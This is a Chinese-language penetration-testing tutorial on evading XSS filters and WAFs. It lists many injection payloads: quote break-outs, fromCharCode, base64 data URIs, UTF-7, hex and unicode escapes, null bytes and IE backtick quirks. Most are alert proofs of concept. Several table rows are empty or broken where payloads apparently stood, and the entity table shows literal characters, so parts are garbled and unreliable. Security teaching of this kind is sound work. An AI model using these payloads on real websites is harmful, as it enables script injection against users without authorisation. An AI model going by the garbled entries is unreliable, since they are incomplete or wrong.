0x00: 前言
最常用的XSS漏洞测试代码:
<script>alert("XSS")</script>
当这个代码被注入到输入框或是url参数的时候,会成功也可能会失败,如果失败了。也不意味着网站就是安全的。需要继续渗透。
0x01: 常规WAF绕过思路
- 标签语法替换
- 更换xss代码 特殊符号干扰 加 / 或者@#123456%特殊字符进行干扰
- 提交方式更改 get更改为post
- 垃圾数据溢出 多加一些特殊自如进行干扰
- 加密解密算法 加密xss代码
- 结合其他漏洞绕过
0x02:转义字符串
第一步是查看当前的页面源代码,看看是不是包含了我们的这个测试的字符串,如果你发现了。你就会发现很有意思。要细心。看到了把。是在一个输入(INput)标签里。
<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>
在这个例子,我们可以修改我们的输入来包含两个字符,来让代码跳出那对外围的单引号,
'><SCRIPT>alert("XSS")</SCRIPT>
现在我们的代码执行了。因为我们闭合了前面的html标签,就触发了XSS,但是,你可能会发现,页面上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代码。
'><SCRIPT>alert("XSS")</SCRIPT><xss a='
所有的输入就会变成这样:
<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>
Ok了。Javascript代码就注入了。
绕过单引号过滤继续!
同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通过一些类似add_slashes的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样
<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过html的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于,因为这被解释为html标签,但是,你如果要用,可以用下面的来代替。
" | " | “ | 双引号 |
---|---|---|---|
& | & | & | &符号 |
< | < | < | 小于号 |
> | > | > | 大于号 |
使用"或者"来代替我们的双引号,有时候可以绕过过滤。例子:
<script>alert("XSS")</script>
<script>alert("XSS")</script>
<script>alert(&XSS&)</script>
如果这都被过滤了。那我们可以使用JavaScript的fromCharCode函数,这个函数把指定的Unicode值转换成字符串。
<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text" value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
你可以使用Mysql数据库的char(字符,字符)来转换字符到字符码,大家可以使用自己喜欢的就行了。转码的工具还是很多的。
0x03:绕过 | | :—- |
空字符 (%00) 使得过滤器不能看到完整的 <SCRIPT>
标签. 只在 IE 6.0, IE 7.0 可以
0x04:双引号配对的bug
例子
| "> | | :—- |
通常我们认为,img 标签里。前两个引号被认为是一对,什么都不做,下一个引号和最后的匹配,但是事
实不是这样,所有的浏览器都在试图修正这一问题。
结果最终如下:
| “> | | :—- |
0x05:不全面的过滤器
我们看看当开发者已经把能想到的都过滤了或者什么的。就安全了吗?不。我们可以依然可以向数据指令里插入代码。我们通过 base64 加密<script>alert(‘XSS’)</script>.
| CONTENT=”0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”> | | :—- |
使用反引号
如果你需要使用双引号和单引号。使用一些诡异的用法吧 (重音符混淆)。
| | | :—- |
转义字符
转义字符有时候很有用,可以对付一些简单的过滤器
结果如下:
| | | :—- |
编码
使用 utf-7 编码可以绕过
例子
| | | :—- |
使用UTF-7编码后
| +ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4- | | :—- |
然后所有的加号需要被改成%2b,否则会被浏览器识别为连接符
| %2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4- | | :—- |
一个列表:
字符 | 实体引用 |
---|---|
空格 | %20 |
/ | %2F |
“ | %22 |
? | %3F |
内嵌TAB
| | | :—- |
内嵌被编码的TAB
用来分开xss攻击代码
| | | :—- |
内嵌换行符去分开xss代码
| | | :—- |
编码回车符去分开xss代码
| | | :—- |
0x06:附加的开括号
Franz Sedlmaier提出,利用这个xss向量可以绕过某些检测引擎,因为这些引擎通过拼配最早出现的一对尖括号,并且提取其内部内容作为标签,而没有使用更加有效的算法例如 Boyer-Moore(寻找打开的尖括号以及相关标签的模糊拼配)。代码中的双斜杠可以抑制额外尖括号导致的javascript错误。
| < | | :—- |
0x07:利用IE特性绕过XSS
IE中,两个反引号``可以闭合一个左边引号。
Payload:``onmousemove=alert(document.domain)
0x08:十六进制绕过xss过滤
16 进制转换有16进制每一位上可以从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F等16个大小不同的数,逢16进1,其中用 A、B、C、D、E、F、(字母不区分大小写)六个字母来表示10,11,12,13,14,15,16
双斜杠 + 16 进制绕过
Payload: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
\x3c \x3e <>
0x09: unicode绕过触发XSS
Unicode(统一码、万国码、单一码) 是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
双斜杠 + Unicode编码
\\u0003c \\u003e <>
Payload: \\u0003cscript\\u003ealert(document.domain);\\u003c/script\\u003e